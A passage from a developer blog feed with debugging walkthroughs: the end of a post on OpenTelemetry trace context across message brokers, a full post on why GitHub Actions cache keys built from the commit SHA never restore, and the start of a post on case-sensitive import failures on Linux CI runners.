<p><strong>Why does the parent span’s duration not cover the child’s, even after I fix propagation?</strong>
Because it shouldn’t. The publish span ends at 84ms and the process span starts 39.4 seconds later. That is a legitimate, expected shape for asynchronous messaging — the parent is not “wrapping” the child in wall-clock time, it is establishing causality. Tracing UIs that render the timeline as strict nesting will show a long empty bar, which is exactly why check #3 above records queue wait as its own metric.</p>

<p><strong>Can I just put the trace ID in the message body instead of the headers?</strong>
You can propagate it, but you lose interoperability. The value of <code class="language-plaintext highlighter-rouge">traceparent</code> is that it is a wire format any W3C-compliant implementation parses without a shared SDK — a Java consumer, a Go sidecar, or a vendor’s broker-side instrumentation can all pick up a header. A field inside your JSON body is understood only by code that knows your schema, and it won’t be read by any auto-instrumentation.</p>

<p><strong>Both traces have <code class="language-plaintext highlighter-rouge">sampled=01</code> and the link still didn’t form. What else?</strong>
Check the getter’s return type first — the <code class="language-plaintext highlighter-rouge">byte[]</code>-vs-<code class="language-plaintext highlighter-rouge">string</code> mismatch is the single most common cause, and it fails silently because <code class="language-plaintext highlighter-rouge">Extract</code> just returns the default <code class="language-plaintext highlighter-rouge">PropagationContext</code> when it finds nothing parseable. Then check that <code class="language-plaintext highlighter-rouge">Extract</code>’s result is actually passed as the <code class="language-plaintext highlighter-rouge">parentContext</code> argument of <code class="language-plaintext highlighter-rouge">StartActivity</code> and not discarded; <code class="language-plaintext highlighter-rouge">StartActivity(name, kind)</code> with no third argument falls back to <code class="language-plaintext highlighter-rouge">Activity.Current</code>, which is <code class="language-plaintext highlighter-rouge">null</code> here.</p>

<h2 id="source">Source</h2>

<ul>
  <li><strong>Symptom:</strong> A trace terminates at the message-broker publish and the downstream work appears as an unrelated root trace, hiding the largest latency contributor.</li>
  <li><strong>Domain:</strong> observability</li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.w3.org/TR/trace-context/">W3C Trace Context</a> — the exact 4-field <code class="language-plaintext highlighter-rouge">traceparent</code> format, field lengths, and the invalid all-zero trace-id/parent-id values</li>
  <li><strong>Docs/Repo:</strong> <a href="https://opentelemetry.io/docs/specs/otel/context/">OpenTelemetry Context specification</a> — <code class="language-plaintext highlighter-rouge">Context</code> as execution-scoped, and the implicit-mode Attach/Detach/Token operations</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/open-telemetry/opentelemetry-dotnet">open-telemetry/opentelemetry-dotnet</a> — <code class="language-plaintext highlighter-rouge">TextMapPropagator.Inject</code>/<code class="language-plaintext highlighter-rouge">Extract</code> signatures, <code class="language-plaintext highlighter-rouge">PropagationContext</code>, and <code class="language-plaintext highlighter-rouge">Propagators.DefaultTextMapPropagator</code> defaulting to <code class="language-plaintext highlighter-rouge">Noop</code></li>
  <li><strong>Docs/Repo:</strong> <a href="https://opentelemetry.io/docs/specs/semconv/messaging/messaging-spans/">OpenTelemetry messaging semantic conventions</a> — producer/consumer span kinds and why span links are the default correlation mechanism</li>
</ul>]]></content><author><name>Mayur</name></author><category term="observability" /><category term="observability" /><category term="troubleshooting" /><category term="debugging" /><category term="opentelemetry" /><category term="distributed-tracing" /><category term="rabbitmq" /><summary type="html"><![CDATA[A scenario-based debugging walkthrough: a checkout trace ends cleanly at 84ms while the customer waits 41 seconds, and the work that actually took the time shows up as a separate root trace. The root cause is that OpenTelemetry's active Context is scoped to one execution unit and nothing writes traceparent into the broker's message headers. Trace the fix through the W3C traceparent wire format, TextMapPropagator Inject/Extract, and the exported span's all-zero parentSpanId.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mayurjp.github.io/dev-blog/assets/og/obs-trace-breaks-across-async.png" /><media:content medium="image" url="https://mayurjp.github.io/dev-blog/assets/og/obs-trace-breaks-across-async.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CI/CD: Why Does actions/cache Report a Miss on Every Single Run?</title><link href="https://mayurjp.github.io/dev-blog/cicd/cicd-cache-never-restores/" rel="alternate" type="text/html" title="CI/CD: Why Does actions/cache Report a Miss on Every Single Run?" /><published>2026-09-08T03:30:00+00:00</published><updated>2026-09-08T03:30:00+00:00</updated><id>https://mayurjp.github.io/dev-blog/cicd/cicd-cache-never-restores</id><content type="html" xml:base="https://mayurjp.github.io/dev-blog/cicd/cicd-cache-never-restores/"><![CDATA[<p><strong>TL;DR:</strong> The cache is being <em>saved</em> fine — it is never <em>found</em>, because the primary key embeds <code class="language-plaintext highlighter-rouge">$&amp;#123;&amp;#123; github.sha &amp;#125;&amp;#125;</code>, which is unique to a commit that has never existed before, and the <code class="language-plaintext highlighter-rouge">restore-keys</code> list repeats that same SHA-bearing string, so the prefix fallback has nothing broader to match against.</p>

<blockquote>
  <p><strong>In plain English (30 sec):</strong> Memoization you already do: check Map first, only call DB on miss.</p>
</blockquote>

<h2 id="the-symptom">The symptom</h2>

<blockquote>
  <p>“We added <code class="language-plaintext highlighter-rouge">actions/cache</code> three weeks ago and <code class="language-plaintext highlighter-rouge">npm ci</code> still takes the full 2m40s on every run. The restore step always logs <code class="language-plaintext highlighter-rouge">Cache not found for input keys</code>. But the save step at the end of the job clearly works — Settings → Actions → Caches shows 180 entries, 9.4 GB, all created by this workflow. It writes caches nobody ever reads. Two consecutive pushes to the same branch, no dependency changes, still a miss.”</p>
</blockquote>

<p>The three obvious guesses are all already ruled out. The action is not misconfigured into a no-op — it demonstrably <em>writes</em>. The <code class="language-plaintext highlighter-rouge">path:</code> is not wrong — the archives are hundreds of MB, so it is finding real files to compress. And it is not the 7-day eviction window — the misses happen minutes apart, not days.</p>

<p>The failure is in the <em>lookup</em>, and the lookup has exactly three inputs: the key, the cache version, and the branch scope. Two of them are wrong here.</p>

<h2 id="reproduce">Reproduce</h2>

<p>The workflow, verbatim from the repo that has this problem:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">name</span><span class="pi">:</span> <span class="s">build</span>
<span class="na">on</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">push</span><span class="pi">,</span> <span class="nv">pull_request</span><span class="pi">]</span>

<span class="na">jobs</span><span class="pi">:</span>
  <span class="na">build</span><span class="pi">:</span>
    <span class="na">runs-on</span><span class="pi">:</span> <span class="s">ubuntu-latest</span>
    <span class="na">steps</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/checkout@v4</span>
      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/setup-node@v4</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">node-version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">20'</span>

      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/cache@v4</span>
        <span class="na">id</span><span class="pi">:</span> <span class="s">npm-cache</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">path</span><span class="pi">:</span> <span class="s">~/.npm</span>
          <span class="c1"># the bug: github.sha is unique per commit, so this key</span>
          <span class="c1"># is guaranteed never to have been written before</span>
          <span class="na">key</span><span class="pi">:</span> <span class="s">${{ runner.os }}-node-${{ github.sha }}</span>
          <span class="c1"># and the "fallback" is a copy-paste of the same string,</span>
          <span class="c1"># so the prefix search is just as unmatchable</span>
          <span class="na">restore-keys</span><span class="pi">:</span> <span class="pi">|</span>
            <span class="s">${{ runner.os }}-node-${{ github.sha }}</span>

      <span class="pi">-</span> <span class="na">run</span><span class="pi">:</span> <span class="s">npm ci</span>
      <span class="pi">-</span> <span class="na">run</span><span class="pi">:</span> <span class="s">npm test</span>
</code></pre></div></div>

<p>Push twice to the same branch with no change to <code class="language-plaintext highlighter-rouge">package-lock.json</code>. Both runs miss.</p>

<h2 id="the-root-cause-chain">The root cause chain</h2>

<h3 id="1-the-primary-key-is-unique-by-construction">1. The primary key is unique by construction</h3>

<p><code class="language-plaintext highlighter-rouge">actions/cache</code> looks for an <strong>exact</strong> match on <code class="language-plaintext highlighter-rouge">key</code> first. A cache key is only useful if the same key can be produced again on a later run — that is the whole contract. <code class="language-plaintext highlighter-rouge">$&amp;#123;&amp;#123; github.sha &amp;#125;&amp;#125;</code> is the commit SHA of the run’s own commit. By definition, no earlier run ever computed that string, so no cache entry was ever stored under it.</p>

<p>The value that belongs there is a hash of whatever genuinely decides “did the dependency set change” — the lockfile:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">key</span><span class="pi">:</span> <span class="s">${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hashFiles()</code> is stable across runs when the file is unchanged, and changes exactly when it isn’t. <code class="language-plaintext highlighter-rouge">github.sha</code> changes on every commit whether or not a single dependency moved.</p>

<h3 id="2-restore-keys-is-a-prefix-search-and-this-prefix-contains-the-sha-too">2. <code class="language-plaintext highlighter-rouge">restore-keys</code> is a prefix search, and this prefix contains the SHA too</h3>

<p>When the primary key misses, the action walks <code class="language-plaintext highlighter-rouge">restore-keys</code> <strong>in order</strong>, treating each entry as a <em>prefix</em>. GitHub’s own reference states it plainly: a restore key of <code class="language-plaintext highlighter-rouge">npm-feature-</code> “matches any key that starts with the string <code class="language-plaintext highlighter-rouge">npm-feature-</code>”, and when several keys match the prefix, “the action returns the most recently created cache.”</p>

<p>That mechanism is the entire safety net for the “dependencies just changed” case — you want the previous, close-enough cache so <code class="language-plaintext highlighter-rouge">npm ci</code> becomes an incremental download instead of a cold one. But here the single restore key is a byte-for-byte copy of the primary key. Its prefix set is <code class="language-plaintext highlighter-rouge">{the primary key}</code>, which was already searched and already missed. There is no broader prefix in the list at all, so the fallback chain is empty in practice.</p>

<p>A restore key only helps if it is <strong>strictly shorter than the volatile part of the primary key</strong>. Copying the primary key into <code class="language-plaintext highlighter-rouge">restore-keys</code> is the single most common way to end up with a fallback that can never fire.</p>

<h3 id="3-the-branch-scoping-rule-hides-the-second-half-of-the-problem">3. The branch-scoping rule hides the second half of the problem</h3>

<p>Even with a correct lockfile-hashed key, this repo would still miss most of the time, because of <em>where</em> the caches were written. GitHub’s dependency-caching reference is explicit:</p>

<blockquote>
  <p>Workflow runs can restore caches created in either the current branch or the default branch (usually <code class="language-plaintext highlighter-rouge">main</code>).</p>
</blockquote>

<p>and:</p>

<blockquote>
  <p>Workflow runs cannot restore caches created for child branches or sibling branches.</p>
</blockquote>

<p>and, most relevant here:</p>

<blockquote>
  <p>When a cache is created by a workflow run triggered on a pull request, the cache is created for the merge ref (<code class="language-plaintext highlighter-rouge">refs/pull/.../merge</code>). Because of this, the cache will have a limited scope and can only be restored by re-runs of the pull request.</p>
</blockquote>

<p>This workflow triggers on <code class="language-plaintext highlighter-rouge">[push, pull_request]</code>. Most of its 180 cache entries were written by <code class="language-plaintext highlighter-rouge">pull_request</code> runs, scoped to a merge ref that only a re-run of that same PR can read. A cache warmed on <code class="language-plaintext highlighter-rouge">feature/checkout-v2</code> is invisible from <code class="language-plaintext highlighter-rouge">feature/pricing-fix</code> — they are siblings, not ancestor and descendant. The only cache every branch can read is one written on the <strong>default branch</strong>.</p>

<pre><code class="language-mermaid">flowchart TD
    A["restore step, key = Linux-node-3f9a1c2"] --&gt; B{"exact match&lt;br/&gt;in readable scope?"}
    B --&gt;|"no entry has this SHA"| C["restore-keys 0&lt;br/&gt;Linux-node-3f9a1c2"]
    C --&gt; D{"any key starting&lt;br/&gt;with that prefix?"}
    D --&gt;|"prefix still carries the SHA"| E["Cache not found for input keys"]
    E --&gt; F["npm ci downloads cold, 2m40s"]
    F --&gt; G["post step, Cache saved with key Linux-node-3f9a1c2"]
    G --&gt; H["next commit is a new SHA, back to the top"]

    S["readable scope for this run"] --&gt; S1["current branch"]
    S --&gt; S2["default branch main"]
    S --&gt; S3["base branch, for a PR run"]
    S -.-&gt;|"NOT readable"| S4["sibling feature branches"]
    S -.-&gt;|"NOT readable"| S5["refs/pull/N/merge from another PR"]

    F2["FIXED key = Linux-node-hash of package-lock.json"] --&gt; B2{"exact match?"}
    B2 --&gt;|"lockfile unchanged"| I["Cache hit for: Linux-node-9f3e...&lt;br/&gt;cache-hit = true"]
    B2 --&gt;|"lockfile changed"| C2["restore-keys 0 = Linux-node-"]
    C2 --&gt; J["Cache hit for restore-key: Linux-node-...&lt;br/&gt;cache-hit = false, files still restored"]

    classDef fail fill:#fde8e8,stroke:#c0392b,color:#111
    classDef ok fill:#e6f6ec,stroke:#1e8449,color:#111
    classDef muted fill:#f2f2f2,stroke:#888,color:#111
    class E,F,G,H,S4,S5 fail
    class I,J ok
    class S,S1,S2,S3 muted
</code></pre>

<h3 id="4-the-confirming-evidence">4. The confirming evidence</h3>

<p>The restore step’s miss message lists <strong>every key it tried</strong>, primary first, then each restore key in order. That log line is the diagnostic — it is emitted by <code class="language-plaintext highlighter-rouge">restoreImpl.ts</code> as <code class="language-plaintext highlighter-rouge">Cache not found for input keys: ${[primaryKey, ...restoreKeys].join(", ")}</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run actions/cache@v4
Cache not found for input keys: Linux-node-3f9a1c2e8b4d, Linux-node-3f9a1c2e8b4d
</code></pre></div></div>

<p>Seeing the <em>same string twice</em> in that comma-separated list is the whole diagnosis in one line: the fallback is a duplicate of the primary.</p>

<p>The post-job step confirms the write side is healthy — <code class="language-plaintext highlighter-rouge">saveImpl.ts</code> logs <code class="language-plaintext highlighter-rouge">Cache saved with key: ${primaryKey}</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Post job cleanup.
Cache Size: ~228 MB (239075328 B)
Cache saved with key: Linux-node-3f9a1c2e8b4d
</code></pre></div></div>

<p>For contrast, here is what a working restore looks like. An exact primary-key match:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Cache Size: ~228 MB (239075328 B)
Cache restored successfully
Cache hit for: Linux-node-9f3ea41c77b0
Cache restored from key: Linux-node-9f3ea41c77b0
</code></pre></div></div>

<p>and a prefix fallback match — note it says <em>restore-key</em>, and <code class="language-plaintext highlighter-rouge">cache-hit</code> will be <code class="language-plaintext highlighter-rouge">false</code> even though real files were restored:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Cache hit for restore-key: Linux-node-
Cache restored from key: Linux-node-2c1188de40aa
</code></pre></div></div>

<p>And on a run whose primary key already matched, the post step declines to write a duplicate:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Cache hit occurred on the primary key Linux-node-9f3ea41c77b0, not saving cache.
</code></pre></div></div>

<p>That last line is the real “the cache is working” signal. A workflow that logs <code class="language-plaintext highlighter-rouge">Cache saved with key: ...</code> on <em>every</em> run, forever, is a workflow whose primary key never matches.</p>

<h2 id="the-fix">The fix</h2>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/cache@v4</span>
        <span class="na">id</span><span class="pi">:</span> <span class="s">npm-cache</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">path</span><span class="pi">:</span> <span class="s">~/.npm</span>
          <span class="c1"># stable across runs, changes exactly when dependencies change</span>
          <span class="na">key</span><span class="pi">:</span> <span class="s">${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}</span>
          <span class="c1"># strictly shorter prefixes, broadest LAST - the search stops</span>
          <span class="c1"># at the first prefix that matches anything</span>
          <span class="na">restore-keys</span><span class="pi">:</span> <span class="pi">|</span>
            <span class="s">${{ runner.os }}-node-</span>
</code></pre></div></div>

<p>Two properties make this work, and both were missing before:</p>

<ol>
  <li>The primary key is <strong>reproducible</strong> — the next run on an unchanged lockfile computes the identical string and gets an exact hit.</li>
  <li>The restore key is a <strong>strict prefix</strong> of the primary key with the volatile part removed, so on the first run after a dependency bump the action still restores the most recently created <code class="language-plaintext highlighter-rouge">Linux-node-*</code> cache and <code class="language-plaintext highlighter-rouge">npm ci</code> runs incrementally.</li>
</ol>

<p>Then fix the scope problem so feature branches have something to fall back to. The workflow must run on the default branch, not only on PRs:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">on</span><span class="pi">:</span>
  <span class="na">push</span><span class="pi">:</span>
    <span class="na">branches</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">main</span><span class="pi">]</span>
  <span class="na">pull_request</span><span class="pi">:</span>
</code></pre></div></div>

<p>A push to <code class="language-plaintext highlighter-rouge">main</code> writes a cache on the default branch, which every branch and every PR can read. Without that, a repo where all CI happens on PR merge refs warms a cache that only a re-run of the same PR can ever use.</p>

<p>Finally, for the Node/npm case specifically, check whether you need <code class="language-plaintext highlighter-rouge">actions/cache</code> at all. <code class="language-plaintext highlighter-rouge">actions/setup-node</code> has a built-in <code class="language-plaintext highlighter-rouge">cache:</code> input that computes the lockfile-hashed key for you:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="pi">-</span> <span class="na">uses</span><span class="pi">:</span> <span class="s">actions/setup-node@v4</span>
        <span class="na">with</span><span class="pi">:</span>
          <span class="na">node-version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">20'</span>
          <span class="na">cache</span><span class="pi">:</span> <span class="s1">'</span><span class="s">npm'</span>
</code></pre></div></div>

<p>Most <code class="language-plaintext highlighter-rouge">setup-*</code> actions (<code class="language-plaintext highlighter-rouge">setup-node</code>, <code class="language-plaintext highlighter-rouge">setup-python</code>, <code class="language-plaintext highlighter-rouge">setup-dotnet</code>, <code class="language-plaintext highlighter-rouge">setup-java</code>) now ship this. Hand-rolling <code class="language-plaintext highlighter-rouge">actions/cache</code> for a standard package manager is usually re-implementing a solved problem — and re-introducing the key bug in the process. Reach for <code class="language-plaintext highlighter-rouge">actions/cache</code> directly when you are caching something the setup action does not know about: a build output directory, a compiler cache, a container layer store.</p>

<h2 id="deeper-checks-for-production">Deeper checks for production</h2>

<ol>
  <li>
    <p><strong>Verify the cache <em>version</em>, not just the key.</strong> A cache entry is scoped to key, <strong>version</strong>, and branch. The version is a SHA-256 over the <code class="language-plaintext highlighter-rouge">path</code> inputs joined with the compression method and a version salt — computed by <code class="language-plaintext highlighter-rouge">getCacheVersion</code> in <code class="language-plaintext highlighter-rouge">@actions/toolkit</code>’s cache package. Changing <code class="language-plaintext highlighter-rouge">path: ~/.npm</code> to <code class="language-plaintext highlighter-rouge">path: node_modules</code>, or adding a second path, produces a different version and therefore a different cache namespace <em>under the same key string</em>. If misses started right after someone edited <code class="language-plaintext highlighter-rouge">path:</code>, this is why.</p>
  </li>
  <li>
    <p><strong>Watch the 10 GB repo ceiling.</strong> A repository can hold up to 10 GB of caches; past that, GitHub evicts “in order of last access date, from oldest to most recent,” and separately removes anything not accessed in over 7 days. A broken key that writes a fresh 228 MB entry on every run reaches the ceiling in about 44 runs and then starts evicting the <em>good</em> caches other workflows depend on. Check Settings → Actions → Caches for total size and for a wall of near-identical keys.</p>
  </li>
  <li>
    <p><strong>Expect fork PRs to restore but not save.</strong> A pull request from a fork can restore existing caches but may not be permitted to save new ones — the save step completes with a warning rather than failing the job. Do not diagnose that warning as the same bug as this post’s.</p>
  </li>
  <li>
    <p><strong>Alert on the restore step’s own output, not on wall-clock duration.</strong> Gate a warning on the <code class="language-plaintext highlighter-rouge">cache-hit</code> output being empty (no cache restored at all) rather than <code class="language-plaintext highlighter-rouge">false</code> (a restore-key fallback did restore files). Those are different states, and only the first one means the cache is doing nothing.</p>
  </li>
</ol>

<h2 id="prevention-checklist">Prevention checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />No <code class="language-plaintext highlighter-rouge">github.sha</code>, <code class="language-plaintext highlighter-rouge">github.run_id</code>, or <code class="language-plaintext highlighter-rouge">github.run_number</code> appears anywhere in a cache <code class="language-plaintext highlighter-rouge">key:</code> — only stable inputs like <code class="language-plaintext highlighter-rouge">runner.os</code> and <code class="language-plaintext highlighter-rouge">hashFiles(...)</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Every <code class="language-plaintext highlighter-rouge">restore-keys</code> entry is a <strong>strict prefix</strong> of the primary key with the volatile segment removed, never a copy of the primary key</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />The workflow runs on pushes to the default branch, so sibling feature branches and PR merge refs have a readable cache to fall back to</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">path:</code> is treated as part of the cache identity — changing it is understood to invalidate every existing entry via the version hash, not just to move files</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Someone has actually read the <code class="language-plaintext highlighter-rouge">Cache not found for input keys:</code> line and confirmed the listed keys are the ones intended, rather than assuming the action is broken</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />For npm/pip/NuGet/Maven, the built-in <code class="language-plaintext highlighter-rouge">cache:</code> input on the matching <code class="language-plaintext highlighter-rouge">setup-*</code> action was evaluated before hand-rolling <code class="language-plaintext highlighter-rouge">actions/cache</code></li>
</ul>

<h2 id="faq">FAQ</h2>

<p><strong>The log says <code class="language-plaintext highlighter-rouge">cache-hit: false</code> but the job clearly got faster. Is the cache working?</strong>
Yes. <code class="language-plaintext highlighter-rouge">cache-hit</code> answers “was this an <em>exact</em> primary-key match,” not “was anything restored.” A <code class="language-plaintext highlighter-rouge">restore-keys</code> prefix match logs <code class="language-plaintext highlighter-rouge">Cache hit for restore-key:</code> and restores real files while reporting <code class="language-plaintext highlighter-rouge">cache-hit: false</code> — which is exactly the signal you want, because a fallback cache is a fast starting point for an incremental install, not a guaranteed-complete substitute for running the install step.</p>

<p><strong>Why does a cache created on my feature branch disappear when I open a PR from it?</strong>
It does not disappear — the PR run is reading from a different scope. A <code class="language-plaintext highlighter-rouge">pull_request</code>-triggered run writes its cache against the merge ref <code class="language-plaintext highlighter-rouge">refs/pull/N/merge</code>, which only re-runs of that same PR can restore. The branch cache is still there and still readable from pushes to that branch.</p>

<p><strong>We fixed the key and the first run after the fix still missed. Did the fix not work?</strong>
That is the expected first run. The new key has never been written, so it misses, and the restore-key prefix has nothing to match yet either if this is the first workflow run using the new naming scheme. The post step then writes the first entry. The <em>second</em> run is where you should see <code class="language-plaintext highlighter-rouge">Cache hit for:</code> and, in the post step, <code class="language-plaintext highlighter-rouge">Cache hit occurred on the primary key ..., not saving cache.</code></p>

<p><strong>Can I just delete all the bad caches to force a fresh start?</strong>
You can, from Settings → Actions → Caches or via the REST API, and it is worth doing here so the 180 junk entries stop consuming the 10 GB budget. But deleting caches does not fix anything on its own — with the SHA-bearing key still in place, the next run rebuilds one junk entry and the one after that rebuilds another.</p>

<h2 id="source">Source</h2>

<ul>
  <li><strong>Symptom:</strong> <code class="language-plaintext highlighter-rouge">actions/cache</code> logs <code class="language-plaintext highlighter-rouge">Cache not found for input keys</code> on every run while the post step successfully saves a new entry each time</li>
  <li><strong>Domain:</strong> cicd</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/actions/cache">actions/cache</a> — the action’s own <code class="language-plaintext highlighter-rouge">src/restoreImpl.ts</code> and <code class="language-plaintext highlighter-rouge">src/saveImpl.ts</code> are the source for the exact <code class="language-plaintext highlighter-rouge">Cache not found for input keys: ...</code>, <code class="language-plaintext highlighter-rouge">Cache restored from key: ...</code>, <code class="language-plaintext highlighter-rouge">Cache saved with key: ...</code> and <code class="language-plaintext highlighter-rouge">Cache hit occurred on the primary key ..., not saving cache.</code> log strings, and for <code class="language-plaintext highlighter-rouge">cache-hit</code> being set from an exact-match comparison</li>
  <li><strong>Docs/Repo:</strong> <a href="https://docs.github.com/en/actions/reference/workflows-and-actions/dependency-caching">Dependency caching reference — GitHub Docs</a> — establishes the restore-keys prefix search and “most recently created cache” tiebreak, the current-branch / default-branch / base-branch read scope, the merge-ref scoping of PR-created caches, the 10 GB repository limit, the last-access eviction order, and the 7-day unused-cache removal</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/actions/toolkit/tree/main/packages/cache">actions/toolkit — <code class="language-plaintext highlighter-rouge">packages/cache</code></a> — <code class="language-plaintext highlighter-rouge">getCacheVersion</code> in <code class="language-plaintext highlighter-rouge">src/internal/cacheUtils.ts</code> shows the cache version is a SHA-256 over the <code class="language-plaintext highlighter-rouge">path</code> inputs, compression method and version salt, which is why editing <code class="language-plaintext highlighter-rouge">path:</code> invalidates entries under an unchanged key</li>
</ul>]]></content><author><name>Mayur</name></author><category term="cicd" /><category term="cicd" /><category term="troubleshooting" /><category term="debugging" /><category term="github-actions" /><category term="actions-cache" /><category term="build-performance" /><summary type="html"><![CDATA[A scenario-based debugging walkthrough: actions/cache writes a new entry on every run but never restores one, so the build never gets faster. The root cause is a primary key built from the commit SHA with restore-keys that repeat the same unmatchable prefix, compounded by GitHub's branch-scoping rule for cache reads. Trace the fix through the real 'Cache not found for input keys' log line, the Actions caches list, and the key-version-branch lookup the action actually performs.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mayurjp.github.io/dev-blog/assets/og/cicd-cache-never-restores.png" /><media:content medium="image" url="https://mayurjp.github.io/dev-blog/assets/og/cicd-cache-never-restores.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CI/CD: Why Does the Test Suite Pass on Every Developer Machine and Fail Only on the Runner?</title><link href="https://mayurjp.github.io/dev-blog/cicd/cicd-passes-locally-fails-in-ci/" rel="alternate" type="text/html" title="CI/CD: Why Does the Test Suite Pass on Every Developer Machine and Fail Only on the Runner?" /><published>2026-09-08T03:30:00+00:00</published><updated>2026-09-08T03:30:00+00:00</updated><id>https://mayurjp.github.io/dev-blog/cicd/cicd-passes-locally-fails-in-ci</id><content type="html" xml:base="https://mayurjp.github.io/dev-blog/cicd/cicd-passes-locally-fails-in-ci/"><![CDATA[<p><strong>TL;DR:</strong> The Linux runner’s filesystem is case-sensitive and every developer’s macOS or Windows filesystem is not, so an import whose casing does not match the file on disk resolves locally and fails on the runner — and Git’s <code class="language-plaintext highlighter-rouge">core.ignoreCase</code>, which <code class="language-plaintext highlighter-rouge">git clone</code> sets to <code class="language-plaintext highlighter-rouge">true</code> on those filesystems, is why “I renamed it and <code class="language-plaintext highlighter-rouge">git status</code> says clean” is a lie.</p>
<blockquote>
  <p><strong>In plain English (30 sec):</strong> Think of this like concepts you already use, but in a production system at scale.</p>
</blockquote>

<h2 id="the-symptom">The symptom</h2>

<blockquote>
  <p>“CI has been red for four hours on <code class="language-plaintext highlighter-rouge">Module not found: Error: Can't resolve './services/UserService' in '/home/runner/work/payments-api/payments-api/src'</code>. That file exists. I can open it. Every one of the six people on this team runs <code class="language-plaintext highlighter-rouge">npm test</code> locally and it passes — three on macOS, two on Windows, one on WSL. It fails on <code class="language-plaintext highlighter-rouge">ubuntu-latest</code> on every single run, same error, same line. I renamed the file to match the import, committed, pushed. Still failing. <code class="language-plaintext highlighter-rouge">git status</code> is clean on my machine.”</p>
</blockquote>

<p>This is deterministic, not flaky — which immediately rules out the usual “works locally” suspects. It is not a race in test ordering. It is not a missing environment variable, which would surface as an undefined value rather than a resolver error. And it is not dependency drift, because a different resolved package version does not change whether a <em>first-party relative import</em> resolves.</p>

<p>The detail that makes it genuinely confusing is the last sentence: the developer already applied the obvious fix, committed it, and nothing changed.</p>

<h2 id="reproduce">Reproduce</h2>

<p>Ask git what it actually has, rather than asking the filesystem:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git ls-files src/services/
src/services/paymentGateway.ts
src/services/userService.ts

<span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-rn</span> <span class="s2">"services/UserService"</span> src/
src/api/checkout.ts:4:import <span class="o">{</span> UserService <span class="o">}</span> from <span class="s1">'./services/UserService'</span><span class="p">;</span>
</code></pre></div></div>

<p>The import says <code class="language-plaintext highlighter-rouge">UserService</code>. The tracked path says <code class="language-plaintext highlighter-rouge">userService</code>. That is the entire bug — and on macOS or Windows, <code class="language-plaintext highlighter-rouge">open("./services/UserService.ts")</code> still succeeds against a file named <code class="language-plaintext highlighter-rouge">userService.ts</code>, so nobody local ever sees it.</p>

<p>Confirm the second half, which is why the attempted fix did nothing:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git config core.ignorecase
<span class="nb">true</span>

<span class="nv">$ </span><span class="nb">mv </span>src/services/userService.ts src/services/UserService.ts
<span class="nv">$ </span>git status <span class="nt">--short</span>
<span class="c"># (no output)</span>
</code></pre></div></div>

<p>The file on disk is now <code class="language-plaintext highlighter-rouge">UserService.ts</code>. Git reports nothing to commit.</p>

<h2 id="the-root-cause-chain">The root cause chain</h2>

<h3 id="1-the-runners-filesystem-is-case-sensitive-and-the-developers-are-not">1. The runner’s filesystem is case-sensitive and the developers’ are not</h3>

<p><code class="language-plaintext highlighter-rouge">ubuntu-latest</code> runners use ext4, which is case-sensitive: <code class="language-plaintext highlighter-rouge">UserService.ts</code> and <code class="language-plaintext highlighter-rouge">userService.ts</code> are two different paths, and only one of them exists. macOS ships APFS formatted case-insensitive-but-case-preserving by default, and Windows NTFS is case-insensitive in practice for application file access. So the same <code class="language-plaintext highlighter-rouge">import</code> statement is resolved by two different <code class="language-plaintext highlighter-rouge">open()</code> semantics.</p>

<p>Node’s resolver, webpack’s resolver, TypeScript’s module resolution, Python’s importer, and the JVM’s classloader all delegate the final lookup to the filesystem. None of them normalize case. The resolver is not the bug; it is faithfully reporting a filesystem answer that differs by platform.</p>

